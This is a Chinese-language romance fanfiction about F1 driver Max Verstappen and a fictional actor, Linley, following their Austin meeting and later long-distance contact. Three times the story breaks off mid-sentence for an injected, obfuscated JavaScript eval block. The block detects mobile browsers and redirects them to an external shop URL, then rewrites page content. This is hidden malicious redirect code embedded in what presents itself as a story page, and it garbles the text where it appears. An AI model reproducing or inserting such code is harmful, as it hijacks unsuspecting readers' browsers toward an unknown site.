《男朋友是F1车手怎么办》 1. 过热预警 2018年。 奥斯汀的十月，夜风干燥。 第六街的爵士酒吧里，空气却被体温和酒精烧得滚烫。 低音炮的震动从地板传上来，一下下捶打着麦克斯·维斯塔潘的太阳穴。他躲在角落，指尖捏着一块即将融化的碎冰。冰水顺着虎口蜿蜒而下，激得他眼皮跳了一下。 隔壁的庆祝派对还在继续，闪光灯和香槟几乎要把他淹没。 烦。 他只想躲在这里，哪怕只有十分钟。 旁边有个男人一直在写写画。炭笔磨着餐巾纸，沙沙，沙沙。 麦克斯不耐烦地瞥过去。 那是一只手，指缝里卡着洗不掉的深灰色机油。这只手正抓着半截炭笔，在薄薄的餐巾纸上反复勾画一个尖锐的折角。 那是COTA赛道，12号弯。 他下午才用轮胎碾过的地方。 “刹车点画晚了。”麦克斯没忍住，盯着那团线条开口，“在这个距离踩刹车，车会直接冲出赛道。” 炭笔顿住，笔尖在那层薄薄的餐巾纸上戳出个洞。 “你在第23圈用这一招超过博塔斯的时候，可不是这么想的。”男人转过脸，把那张破了洞的纸推过来， “比赛我看了，很精彩。” 这是一张太干净的脸。 鼻梁高挺，眼窝深邃，灰蓝色的瞳仁里像是落了一小片阴天的海。眼角被酒精熏得泛红，微厚的下唇抿着，带着股莫名其妙的倔劲。 这张脸，让麦克斯心里那股无名火莫名地降了半度。 “麦克斯·维斯塔潘。”他报上名字。 “林利（Linley）”。男人把炭笔丢进空酒杯，发出一声脆响。 “你在12号弯切内线切得太深了。”林利说，“万一博塔斯没看到你，或者他不想让你呢？” “那是他的损失。”麦克斯身体前倾，侵入对方的领域。 “也是你的风险。”林利说着，伸手拿过麦克斯面前那杯喝了一半的金汤力，仰头灌了下去，喉结上下滚动。 “那就是我的事了，”麦克斯的好奇心被勾了起来，“画赛道图，懂走线……你是专业的？” 林利指腹随意地蹭过杯口的水雾：“只能算是修理厂打杂的。” “修理厂？”麦克斯挑眉。 “修修配件，换换轮胎。”林利垂下眼皮，长而卷的睫毛落下一片阴影，“如果是你那种千万美元的玩具坏了，可别来找我，我只会修破烂。” 麦克斯笑了。 这人身上闻不到半点机油味，言谈举止也和修理工毫无关系。但他懒得拆穿。 “那你手艺应该不错。”麦克斯指了指那张餐巾纸，“毕竟你连我的‘贪心’都看出来了。” “那和手艺无关。” 林利忽然侧身，猛地凑近。一股苦橙混合着冷金属的气息瞬间包裹了麦克斯。 “看看你的刹车灯就知道了。” 他在震耳欲聋的音乐里，贴着麦克斯的耳廓，湿热的呼吸阵阵拂过：“你踩刹车，根本不是为了减速。” “你是为了逼他让路……维斯塔潘，你压根就没想过给自己留退路，对不对？” 麦克斯呼吸一滞，有些意外地挑了挑眉，心底某个角落像是被这句话烫了一下：“观察得这么仔细，你还有什么高见？” “谈不上。” 林利的手毫无预兆地伸过来，贴上了他汗湿的后颈。 麦克斯后背绷了一下，指尖的凉意顺着脊椎一路向上。 “我猜，你的引擎快要过热了。”林利的指腹在他的颈动脉上，不轻不重地划了一圈。“看看你，整个人都在发烫。再这么烧下去，你会成为一个大麻烦。” 他收回手，拿起椅背上的花衬衫，站了起来。 “走吗？”林利回头。 门外，奥斯汀的深夜被霓虹切割得光怪陆离。 “去哪？”麦克斯问，身体却已经先一步站了起来。 林利的下巴朝麦克斯湿透的T恤点了点：“去找个能让你冷却下来的地方。” 麦克斯推开酒杯，直接跟了上去。 他确实需要降降温。 也确实对这个奇怪的“修理工”有点兴趣。至于去哪里，他有一整晚的时间来满足好奇心。 夜风刮在发烫的皮肤上，激起一层战栗。 林利的脚步很快，花色衣角在麦克斯面前一晃一晃。 麦克斯几步并上前，一把扣住对方细瘦的手腕。 “你走这么快干什么？”麦克斯逼近，温热的呼吸喷在林利耳侧。 “那要看是谁在后面追我。”林利没有挣脱，反而轻轻勾了勾麦克斯的掌心，“现在，可是维斯塔潘。” 麦克斯低声笑了，松开手。 路灯将两人的影子拖拽得很长。 林利白皙的后颈就那么露在外面，晃得人眼晕。 麦克斯觉得自己大概是真的醉了，只能费力地盯着那一小块皮肤，听着自己的心跳声在耳膜里一下下地撞。 咚。 咚。 林利在一幢深灰色大楼前停下。 电梯门合拢的瞬间，世界终于安静了。 轿厢的金属内壁映出两个模糊的人影。 麦克斯靠着厢壁，长长地呼出一口气。“我还以为你会带我去修理厂。”他看向镜子里那个脸颊醉红、领口大开的自己，被沙哑的声音吓了一跳。 “太脏了。”林利盯着跳动的楼层数字，在倒影中扫了他一眼，“而且，那里可没有能让你凉快下来的东西。” 顶层的套房门应声打开。 冷气扑面而来。房间大得有些空旷，每一件家具都摆放得像是样板间。落地窗外，科罗拉多河反射着城市的光带。 麦克斯想，这倒确实挺冷。 “啤酒在冰箱里，”林利随手将外套扔在沙发上，指了指角落，“我去拿几瓶。” 麦克斯的视线扫过沙发旁昂贵的皮质行李箱，又落向桌上摊开的、厚得像砖头一样的赛车数据手册。 最后，他的目光停在林利那双正打开冰箱门的手上。 那里还沾着零星几点机油。 最好的地段、最贵的套房，住着这样一个修理厂的“打杂工”？麦克斯皱起眉，这倒是越来越有意思了。 林利端着一桶冰块走过来，用拇指“啪”地撬开两瓶啤酒，递给他一瓶：“浴室在右边。”他顿了顿，补充道，“或者……你想先来点更热的？” 麦克斯顺着林利的视线低头看了看自己，向前跨了一步，把对方逼得倒向沙发，决心搞清楚这个骗子的把戏。 “你刚才说，要给我降温。”麦克斯居高临下，膝盖强硬地挤进林利双腿之间，将人完全困在自己身下的阴影里，“这就是你的办法？喝啤酒？” 林利仰头灌了一口，冰凉的酒液顺着嘴角淌进领口，洇开一小块深色的湿痕。 “那你想来点更有效的？”他忽然笑了，灰蓝色的眼睛微微眯起，像一只算计着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159547|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猫，“玩个游戏怎么样，YES or NO？” “这次，你先问，维斯塔潘。” 麦克斯俯下身，一只手撑在林利耳边的沙发靠背上，将他彻底禁锢。 “第一个问题。” “你不在修理厂工作，对吗？” “我就知道你要问这个，是的。”林利放下酒瓶，五指张开，在麦克斯眼前晃了晃，“我确实不在那‘工作’。” “所以，你是个追着车队满世界跑的粉丝，懂点技术，有钱有闲，是吗？” “不是。” 林利回答得很快，带着一丝恶作剧得逞的笑意。 他微微仰起脖子，冰凉的啤酒瓶瓶身慢条斯理地滚过麦克斯的手背，激起一片细小的疙瘩。玻璃瓶底最终停在麦克斯的腕骨上，轻轻一压。 “该我了。维斯塔潘，你平时对陌生人都这么毫无防备吗？” “不是。”麦克斯纹丝不动，任由那点凉意顺着皮肤蔓延。 他的膝盖反而弯得更深，毫不客气地抵进林利的大腿内侧。隔着一层牛仔布能清晰地感觉到布料下的轮廓：“但我对骗子，通常很有耐心。” 林利笑得肩膀轻颤，灰蓝色的眼睛弯成一道漂亮的弧度，眼底的散漫几乎要溢出来。 “那你觉得，我是做什么的？” “赌来的？”麦克斯的眉毛动了动，视线在房间里快速扫了一圈，“还是你运气好到爆棚，把全部家当都押在我身上，大赚了一笔？” “都不是。”林利摇了摇头，那双眼睛里的笑意更深了，“这可是我辛辛苦苦‘赚’来的。” 他特地加重了“赚”字的发音，手腕一翻，勾住了麦克斯T恤的领口，稍一用力，将人往自己的方向拽。 “你的问题太烂了，维斯塔潘。你对普通人的世界真是一点都不了解。” 两人的距离被迫拉近，麦克斯只能低头。 这个角度，他能看清林利脸上细小的绒毛，下巴上那颗颜色很淡的小痣，甚至能数清他鼻梁上那几颗颜色不一的雀斑。 一股陌生的，混杂着啤酒花和某种植物冷香的气味钻进鼻腔。 麦克斯的胃部猛地抽了一下。 是饿了。他脑子里冒出这个不合时宜的念头。 “该我了。”林利的手指顺着他微敞的领口滑了进去，指腹擦过锁骨的皮肤，带起一阵战栗。他的视线跟着自己的手指一路向下，最后却在麦克斯的嘴唇上停了一瞬，然后挑衅地抬眼回看。 “我们还要继续这个提问游戏吗？” 空气里只剩下两人交错的呼吸声。 在这不到十公分的距离里，任何语言都显得多余。麦克斯盯着林利那张一开一合的嘴，像是在无声地邀请他品尝。 “NO.” 除了这个单词，麦克斯脑子里一片空白。 他收紧撑在沙发上的手，任由重力接管了一切，上半身沉沉地压了下去。 鼻尖蹭着鼻尖。 皮肤试探着接触，发出细微的摩挲声。 一下，两下。 他们的嘴唇贴得很近，随着呼吸的起伏断断续续地擦过，干燥与湿润交替，急促的喘息将周遭的空气烧得更加稀薄。 “最后一个问题。” 麦克斯的睫毛扫过林利的眼睑，声音含糊不清，血管震动：“你知道我不会踩刹车的，对吧？” 林利溢出一声闷笑。他不再等待，主动抬起下巴，堵上了最后那点缝隙。 “YES.” 2. 方法派 得克萨斯的阳光有一种欺骗性。 即使隔着厚重的窗帘，明亮的光线还是刺痛了林利的眼皮。 房间里冷气太足，干燥的空气刮擦着喉咙，不用出声都能猜到会哑成什么样。 他试着动了动，腰背的酸痛瞬间沿着脊椎炸开，残忍地提醒他昨晚到底发生了什么荒唐事。 身边的床垫陷下去一大块。热源就在那，紧贴着他的后背。 林利屏住呼吸，全身僵硬。 酒气混着年轻男人特有的荷尔蒙气息，像一张密不透风的网死死笼罩着他。 “搞砸了。” 林利在心里痛骂。 都怪该死的酒，怪这破地方。 他刚拿到《极速车王》的重要配角，为了演好主角身边那个忠心耿耿的机械师，在车库里钻了整整两个月。 好不容易趁剧组转场，溜到奥斯汀来透口气，看看F1大奖赛找点灵感，结果就跟红牛那个出了名的暴躁狮子滚到一起。 这绝对不在他的计划之内。 如果被他那严厉的经纪人知道，或者被无孔不入的八卦小报拍到，他为角色付出的努力可以直接告吹了。 必须立刻、马上，从这里消失。 林利压下心跳，尝试在不惊动身后那头狮子的情况下拉开距离。 那条横在他腰上的手臂沉得像铁，皮肤滚烫，烙得他心惊肉跳。 林利咬着牙，用指尖小心翼翼地捏住麦克斯的小臂，一点点往外挪。 那只手终于滑落在床单上。 林利如释重负，光着脚踩上柔软的地毯。 冰冷的空气激起一层鸡皮疙瘩，也让他那个被酒精泡软的大脑，终于开始重新运转。 跑，趁他醒来之前。 林利弯腰捡起散落一地的衣服。 衬衫皱巴巴得像团咸菜，扣子还崩飞了两颗，好在勉强能穿。 他一边费力地把自己塞进裤子里，一边在房间里搜寻方便带走的东西。 手机在桌子上，行李箱在沙发旁边，剧本……剧本呢？ 就在他视线慌乱地在房间里扫射时，身后传来纸张翻动的声音。 “查理·阿加皮欧？” 一个声音响起，带着刚睡醒的沙哑和浓重的鼻音，懒洋洋的。 林利闭了闭眼，手指扣住皮带边缘。他再睁开眼时，脸上已经换上了略带无辜的笑容，缓缓转过身。 麦克斯已经醒了。 他半靠在床头，被子随意地搭在腰间，胸口和肩膀上残留着几道暧昧的抓痕。 他手里正捏着林利找了半天的剧本，上面密密麻麻做满了关于维护赛车和油压数据的笔记。 “我还以为你是修破烂的，”麦克斯读了一行台词，终于抬起眼皮。他的视线从剧本移到林利脸上，带着点揶揄的讽刺，“原来是修GT40的？” 最坏的事情发生了。 昨夜的谎言，此刻被剥得干干净净。 这绝对能排进他人生尴尬瞬间的前三名。 “那是我的角色，维斯塔潘先生。”既然被看穿，林利索性放弃抵抗。 他走到吧台边，动作自然地给自己倒了杯水，润了润干裂的嗓子，尽量显得专业：“如你所见，我在拍摄《极速车王》。剧本本来是保密的，为了演好这个角色，我确实学了几个月修车，所以……” 麦克斯挑了挑眉，将剧本扔回床上：“噢！所以昨晚，也是在演戏？” “这叫‘方法派’。”林利放下水杯，靠在桌沿上，强撑着镇定，“沉浸式体验。如果我不把自己当成一个懂行的，怎么敢去搭讪F1车手？” 然而，麦克斯不吃这一套。 他嗤笑一声，直接掀开被子下床，坦坦荡荡地走了过来。 林利下意识后退半步，眼神心虚地乱瞟，手上徒劳地想扣紧几颗幸存的扣子。 “所以，我是你的道具？” 麦克斯在他面前站定。他比林利稍高一点，此刻微微垂眼，目光带着审视的压迫感。 “还是你的免费老师？” 麦克斯的声音听不出喜怒：“为了你的电影，拿我来练手？” “你的‘方法’用错地方了，演员先生。” 麦克斯突然向前探身，嘴角勾起一个危险的弧度。 “你可以背下所有的行车数据，也可以检查车辆的所有问题，但昨晚在酒吧……” 他停顿了一下，并没有把话说透，视线缓慢地扫过林利有些发白的嘴唇：“那种反应可不在剧本里。” 轰的一声。 麦克斯直白的嘲讽让林利感到被剥光一样羞耻。脑海里警示灯疯狂鸣响，他必须尽力补救这个局面，不能再让事情变得更糟。 “别这样，麦克斯。” 林利强压下心里的慌乱，抬起头，声音放软了一些：“昨晚我们都很开心，不是吗？” 他抓起桌上的便笺纸和笔，刷刷写下一串数字，“你需要放松，我需要入戏。对我们来说是双赢。” “而且，我对你的评价可不是违心的。”林利撕下便笺，双指夹过拍向麦克斯的胸口，指尖在滚烫的皮肤上停留了一秒，“虽然我是演的，但昨晚的……体验，是真的。” 麦克斯低头瞧了一眼便签上的号码，又看向林利。 “这是什么？” “售后服务。” 林利抓起外套搭在肩上，挤出一个无懈可击的笑容，手心微微发汗。 “下次如果你又……”，他吞咽了一下，“有点‘过热’，或者你想聊聊别的什么，可以打给我。” “再见，最佳车手。祝你在墨西哥好运。” 他没等麦克斯回答，甚至不敢去看麦克斯的表情，转身一把捞起床上的剧本，拉上行李箱就往门口冲。 门锁“咔嗒”一声合上。 走廊里空无一人，厚厚的地毯吸走了所有的声音，也吸走了他所有的力气。 令人窒息的气压被隔绝门后，林利松了口气，整个人猛地靠在昏暗的墙壁上。 他抬起手，看着自己微微颤抖的指尖。 那里除了该死的、洗不掉的汽油味，竟然还残留着麦克斯胸口灼人的体温。 太疯狂了。 林利用力抓了抓一头乱发，快步走向电梯。 他得赶紧飞回片场去。只要回到剧组，回到镜头前，昨晚的一切就只是一场过热导致的意外。 电梯门打开，他走了进去，看着镜子里那个衣衫不整的自己，无奈地闭上了眼。 他是个好演员。 他能忘掉这一切。 … 佐治亚州，萨凡纳。《极速车王》片场。 人造雨水混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159548|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合着红土泥浆，把整个赛道变成了沼泽。空气里全是刺鼻的柴油味和湿气。 巨大的洒水车刚刚停止运作。林利坐在折叠椅上，身上那件蓝色的连体工装吸饱了水，沉甸甸地坠着，贴在皮肤上像层冰冷的蛇皮。 “补一下妆。”化妆师走过来，粗暴地用冰凉的海绵在他眼下按了按，加深那些象征着疲惫的阴影，又顺手在他脖子上抹了一道黑乎乎的机油。 “这茶凉透了。” 旁边传来一声带着伯明翰口音的抱怨。 林利转过头。克里斯蒂安·贝尔正靠在一边，手里捏着一个瘪掉的纸杯。 他穿着赛车服，浑身湿透，正在活动被冻僵的脖子。 “哪怕是加了糖的美国甜茶也行，只要它是热的。”贝尔随手将纸杯扔进垃圾桶，看向林利，“准备好了吗？查理。我今天还想早点收工。” “随时可以。”林利也受不了这糟糕的环境，把手里的冷咖啡倒进泥地里，跟着站了起来。 “Action!” 导演的指令穿透雨幕。 林利冲进雨里，站在维修区白线后。 引擎的咆哮声由远及近。贝尔戴着赛车手套的手死死抓着方向盘，他在车里大吼着什么，声音被瓢泼大雨吞没。 “刹车不行了，快换掉！”车门打开，贝尔急促地比画。 “快把刹车系统换掉！” 林利的膝盖重重磕在水泥地上。他顾不上疼，举起铜锤，卯足了劲砸向轮毂锁扣。金属撞击的闷响在维修区回荡。 “哐！”锁扣松动，他一把扯下沉重的轮胎，泥浆溅进眼睛里，又涩又痛。 快一点，再快一点，他必须跟上节奏。 冰冷的雨水顺着额发滑落，模糊了视线。手指摸到刹车卡钳的金属件，太冷了，这种触感不合时宜地让他联想到另一种触感。 那只扣在他手腕上滚烫的手，那个充满压迫感的怀抱，还有奥斯汀要把人蒸发的燥热夜晚。 怎么偏偏在这时候想起这些？ 林利咬紧后槽牙，把那股莫名其妙翻涌上来的热度强行压下去。他狠狠将新件推入卡槽，“咔嗒”一声到位。 林利抓着工具狼狈地向后撤步，给赛车让出通道。GT40咆哮着冲出维修区，尾气喷了他一脸。 “Cut！完美！” 林利浑身一松，整个人虚脱地靠在器材箱上。 只要一停下来，寒意便无孔不入。他哆嗦着从防水袋里摸出手机，屏幕的光在昏暗的雨天里有些刺眼。 一条新信息。区号+33。 林利盯着那个号码，心脏没来由地漏跳了一下。 他慌乱地下意识扫了一眼乱糟糟的片场，没人注意他。锁屏界面灭了又亮，才终于决定点开。 没有文字。只有一张图片，一张搜索页面的截图。 搜索栏里躺着一行黑色的粗体字：林利·福斯特。第一条结果被对方特意圈了出来。 他还没来得及细看，第二条消息就紧跟着跳了出来： 【1998年。你比我还小一岁，英国佬。】 没有署名，但林利知道是谁。除了那个不踩刹车的混蛋，还能有谁。 林利在冰冷的雨天里呼出一口白气，把手机贴在温热的掌心。 他低下头，肩膀抖动着笑出了声。 3. 远距离遥测 12月，伦敦。 “记住我说的话。” 林利逼近镜子，瞳孔在昏暗的灯光下放大。 他呼吸急促，挤出有些尖锐的美国南方口音：“只要你愿意，圣灵会带走你的所有恐惧……” 镜中的人影陌生又癫狂。这是他即将扮演的角色——《神弃之地》里的古怪牧师罗伊。 一个宣称能让死人复活，坚信毒液无法伤害神之子民的疯子。 剧本里，罗伊要将一整罐活蜘蛛倒在自己脸上。 林利害怕虫子。光是想象这种八条腿的节肢动物在眼皮和鼻翼上窸窸窣窣爬过的触感，头皮就阵阵发麻。 但为了更真实、更具表现力，他必须突破心理防线，接受恐惧。 “嗡——” 洗漱台上手机突兀的震动声打断了思考。林利猛地回过神，撑着台面缓了几秒，才伸手捡起手机。 屏幕上跳动着文字：【来自Emily】 这是麦克斯的号码，这个备注是林利独有的恶趣味。 今天收到的是一条五秒的视频。 背景是刺眼的阳光和失真的海浪。 镜头剧烈晃动，麦克斯正赤着上半身骑在摩托艇上，皮肤被晒得有点发红。他戴着墨镜对镜头大喊，声音被风吹得支离破碎： “嘿，专家！”他喊得充满调侃，“让你看看什么叫阳光！” 麦克斯猛地拧动油门，摩托艇重重地拍在浪尖上，画面在四溅的水花和大笑声中戛然而止。 几秒钟后，文字信息追了过来。 【Emily：还活着吗，林？别在房子里发霉了，出来晒晒太阳，脑子会清醒很多。】 林利揉了揉发胀的太阳穴，这家伙到底哪里来的这么多精力？谁传闻他脾气很差、很不好相处的？简直活泼得像个小学生。 他随手拍了一张面前散乱的笔记，上面用红色记号笔写着令人不安的标注：“狂热”“蜘蛛”“妄想”。 【L：在阿巴拉契亚山脉里“传教”。正在努力学习疯子的思路。】 对面很快显示“正在输入中……” 【Emily：蜘蛛？听起来很恶心。】 【Emily：Huh, 所以你不在车队了？要演一个疯子？】 【Emily：很适合你啊，“方法派”专家。】 林利盯着那行字，几乎能看到麦克斯一脸欠揍的表情。 【L：这是艺术，是体验角色的复杂性。】 【Emily：随便你怎么说，我要去吃饭了。如果你还没饿死的话，也去吃点东西。别把自己练傻了。】 林利把手机揣回口袋，被那家伙一搅和，心情竟莫名其妙地好了点。 … 断断续续的信息持续了好几个月。 十月末，墨西哥大奖赛刚刚结束，麦克斯斩获2018年第2个大奖赛冠军。 【Emily：借你吉言。[图片：冠军杯]】 【L：看来我的售后服务生效了。不用谢，客户先生。】 十一月中旬，林利正在参加试镜，紧张地在候场室等待。麦克斯发来一条语音。 【Emily：今年的比赛总算快结束了，我看到放假的曙光了！你呢，有什么安排？】 【L：无业游民没有假期。正在候场，周围坐着五个长得比我便宜的家伙。祝你的曙光别太刺眼。】 十二月初，麦克斯飞去圣彼得堡参加FIA的年度颁奖典礼。 【Emily：这鱼肉像是塑料做的。[图片]】 【L：想吃大餐。[图片：三明治]】 十二月中旬，麦克斯的定位换到了意大利某个度假区。他开始不断向林利发送他们一家巨大的房车、森林里的篝火，还有他和家人朋友们在卡丁车赛道上的厮杀。 【Emily：今天又破了一项赛道纪录。:)】 【L：今天收到了工作上的好消息。:D】 两个人保持着一种微妙的、互不干扰又时刻在线的连接。 麦克斯在享受他惬意的家庭度假，林利则把自己锁在公寓里，一点点剥离自己，换上另一副皮囊。 他的黑眼圈越来越重，脸颊因为刻意减重而凹陷。 直到圣诞节前夕。 伦敦的街头挂满彩灯，摄政街的橱窗里全是红绿色的礼物盒。 林利裹紧大衣，推开父母家的大门。 肯辛顿区的一栋联排别墅，一如既往的考究、冰冷。 “回来了？”母亲艾琳娜坐在客厅的沙发上翻着杂志，抬头看了一眼。 “嗯，带了点东西。”林利把礼物放在门口。 父亲阿利斯泰从书房走出来，摘下眼镜，礼貌地打量了他一眼：“瘦了。又是为了那个什么……电影？” “《神弃之地》。”林利补充道，“二月份开机。” “哦。”父亲对此兴趣缺缺，“如果太累就算了。如果你想……你知道的，还来得及。” “我很喜欢现在的工作，爸爸。”林利打断了他关于“回公司”的暗示。 空气凝固了几秒。艾琳娜放下杂志，将茶几上的一个包装盒推给林利：“提前拿着吧，一会我和你爸爸就要出发了。” 林利伸出的手停住了：“你们要去哪里？” “去巴黎找你叔叔一家。原本想告诉你的，但看你好像很忙，一直没回消息。”艾琳娜语气平淡，仿佛是在说一件无关紧要的小事。“今晚家里没人，你要留宿也行。” 这就是逐客令了。 林利感觉胃里一阵抽搐，他扯出一个僵硬的微笑：“不用了，我还要回去准备。祝你们旅途愉快。” 他站在寒风里，转身看着屋内透出的暖黄色灯光。 林利扯开礼物盒的丝带，又是一块无聊的爱彼，他随手扔回去。 自己也是被抛弃的那个。 这个念头清晰地浮了上来。 回到公寓，死寂一般的沉默包裹了他。 林利自嘲地笑了笑，决定把所有情绪都献给那个疯子牧师。 直到凌晨，他才停下。浑身是汗，头发湿漉漉地贴在额头上。他还没有从极度亢奋中缓过劲来。 手机响了，【来自Emily】的视频请求。 林利坐起身，用力搓了把脸。 画面晃动了一下，麦克斯那边是昏暗迷离的紫红色灯光。背景是节奏激烈的电子舞曲，混合着孩子们的尖叫和嘈杂的交谈声。 他似乎是躲在走廊尽头的角落，背靠着墙，穿着一件宽松的灰色卫衣，手里还握着半瓶喜力。 “林，你看起来好凶啊。”麦克斯脸颊泛红，眼神里透着毫无防备的松弛，像只喝醉的大猫。 “差不多。”林利把手机架在书桌上，“刚做完一场‘布道’。倒是你，既然在过节，为什么要躲在这里给我打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159549|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话？” “里面太吵了。”麦克斯嘟囔了一句，不耐烦地扯了扯衣领，“怎么这么多人问我，‘嘿麦克斯，明年的本田引擎怎么样’、‘我们能拿第几名’。我说我不知道，他们就觉得我在敷衍。” 他翻了个白眼，仰头灌了一大口啤酒：“天哪，我就是想喝口酒。” 吐槽完，麦克斯把脸凑近了些。 他的目光扫过林利汗湿的头发和深陷的锁骨，蓝眼睛里闪过一丝探究：“你刚才在练那个……蜘蛛疯子？” “牧师罗伊。”林利纠正他，手指无意识地刮着桌面。 “那是种什么感觉？”麦克斯突然问，那双蓝眼睛直直地看过来，“我是说，演一个疯子。把自己变成另一个人？” 林利看着他，忽然生出一股恶劣的念头。 “你想看？” 一股恶作剧的冲动，混杂着深夜独处的孤独感在他胸口发酵。他想看看这个在赛道上无所不能的家伙，被吓住时是什么表情。 “来啊。”麦克斯咧开嘴，“让我见识一下‘大专家’的真本事。” 林利没再说话。他闭上眼，再睁开时，出现在屏幕面前的已经是牧师罗伊。 他的眼神变得浑浊而狂热，瞳孔深处燃烧着某种非人的火焰。他脖子上的青筋因为刻意的压抑而暴起。整个人向前倾，脸几乎要从屏幕里挤出来。 光线从下往上打着，在他脸上投下诡异的阴影。他发出一种尖细又颤抖的喊声： “是时候了！” 他大口喘息，胸膛剧烈起伏，带着令人不安的、混合着虔诚与恐惧的神情，死死盯住镜头另一端的麦克斯： “复活！归来！” 他猛地伸出一只手，五指在空中痉挛般地抓挠： “灵魂！我让你归来！复活！” 那个瞬间，毛骨悚然的张力穿越几百公里，重重地扼住麦克斯的喉咙。 麦克斯完全僵住了。 他手里那瓶啤酒悬在半空忘记了放下。他看着屏幕里仿佛变了个人的林利，身后的喧闹声仿佛在这一刻一齐消失。 他从没见过这样的林利。 这个人，像是把自己彻底撕碎，再用角色的血肉重新黏合起来。那种毁灭性的疯狂，那种焚烧一切的专注，还有…… 该死的。 那种性感。 “F**k”麦克斯低声骂了一句，“你刚才……好像要吃了我。” 林利被麦克斯直白的反应惹得泄了气，那股支撑他的疯狂劲头退去。他从角色里抽离出来，身体软回椅子里，恢复了原本懒洋洋的样子：“吓到你了？” “不。”麦克斯舔了一下干燥的嘴唇，眼神褪掉温顺的外衣，一字一顿：“是很性感，非常……非常性感。” 他不加掩饰地说：“我想看你在我面前这么做。不是隔着这个破屏幕。” 林利的脸颊轰地一下烧了起来，刚想要说些什么，麦克斯那边传来一阵大喊：“麦克斯？你在哪儿？快点！” “来了！”麦克斯不得不扭头应了一声。 他迅速转回镜头，坚决地对林利说：“我要去英国。” 林利愣了一下：“什么？” “下周。”麦克斯的语速很快，“车队在米尔顿凯恩斯有场模拟器测试，霍纳安排的。我要去跑两天数据。” “工厂离伦敦只有一小时车程。”他顿了顿，对着镜头眨了眨眼。 4. 抓地力 2019年1月初。 米尔顿凯恩斯，红牛车队工厂。 “这一圈的数据很完美，麦克斯。”耳机里传来车队工程师的声音，伴随着键盘敲击的脆响，“前轮的指向性看起来和风洞数据吻合了。新的本田引擎在低转速区间的扭矩响应很快，你处理得很干净。” 麦克斯松开方向盘，长出了一口气。巨大的液压模拟器座舱缓缓停止了震动，液压泵的嘶嘶声在安静的房间里回荡。 “还要再跑一组长距离吗？”工程师问道，“虽然已经跑了八个小时了。” “不，今天够了。”麦克斯摘下手套，意识逐渐从赛道回笼。 他喜欢这里。 虽然对于大多数车手来说，模拟器是枯燥的义务劳动。但麦克斯不讨厌它，甚至可以说是有点痴迷。在这里，复杂的赛车世界被简化成了最纯粹的物理公式。只要付出足够努力，机器就会给你最诚实的反馈。 他从座舱里爬出来，身体因为长时间的固定姿势而有些僵硬。 “那今天就到这里。”工程师在控制台收拾文件，“明天还要测轮胎衰减。” “嗯。”麦克斯抓起旁边的红牛灌了一口，拿起手机。 屏幕上空空荡荡，没有他想看到的消息。最后一条还是他早上发的，向那个“专家”报告自己落地英国。没有回复。 麦克斯盯着对话框，眉头微微皱起。 在赛道上，如果前轮失去抓地力，他知道该怎么找回控制感。但如果那个把自己关在公寓里的家伙失去了信号，他该做什么？ 一种莫名的烦躁爬了上来，他痛恨无法掌握的事情。 “我不回酒店。”麦克斯拿起外套，把车钥匙在手指上转了一圈，“明天上午见。” M1高速公路像一条黑色的动脉，在雨夜中向南延伸。雨刮器单调的摆动声催人入睡，麦克斯顺手调大了车内音响。 伦敦，麦克斯对阴沉沉的地方没什么好印象。但现在，他脑子里全是这几个月两人断断续续的对话。 他走了会神，想到酒吧里狡黠的林利，那一晚霓虹中的林利，分享日常的林利，圣诞夜还沉浸在角色的林利……那些碎片在后视镜掠过，最终指向同一个可恶的人。 “方法派。”麦克斯在心里默念这个词。为了一个虚构的角色，把自己关在公寓，这听起来很蠢。但他想到刚跑完八小时模拟器的自己，笑了出声。他们其实是一类人。 雨还在下。车停在一栋维多利亚风格的老公寓楼下。麦克斯拉上帽子，快步穿过街道，按响了门铃。 过了很久，久到麦克斯开始怀疑自己走错地方，对讲机里终于传来了电流声。然后是那个熟悉的、带着点懒洋洋磁性的声音：“谁？” “红牛快递。”麦克斯对着听筒说。 短暂的沉默，随后传来一声轻笑。门锁“嗒”地解开。 麦克斯爬上三楼。站在那扇深绿色的木门前，竟然久违地感觉到了一丝紧张。 门开了。冷白色的灯光从门缝里倾泻出来，照亮了麦克斯被雨水打湿的肩膀。 麦克斯止住了呼吸。 几个月没见，林利为什么还是这样让他心脏发热。他确实瘦了，下颌线像刀锋一样锐利，原本合身的黑色衬衫领口显得有些大，露出深陷的锁骨。 相反，他的灰蓝色眼睛亮得吓人，燃烧着闪烁的光。麦克斯下意识紧了紧手指。 “我以为你在开玩笑。”林利靠在门框，上下打量着麦克斯，“你真的来了，还在大半夜跑来伦敦。” 麦克斯耸了耸肩：“我来找点乐子。” 林利侧身让开路：“进来吧。不过我可没准备你的东西。” 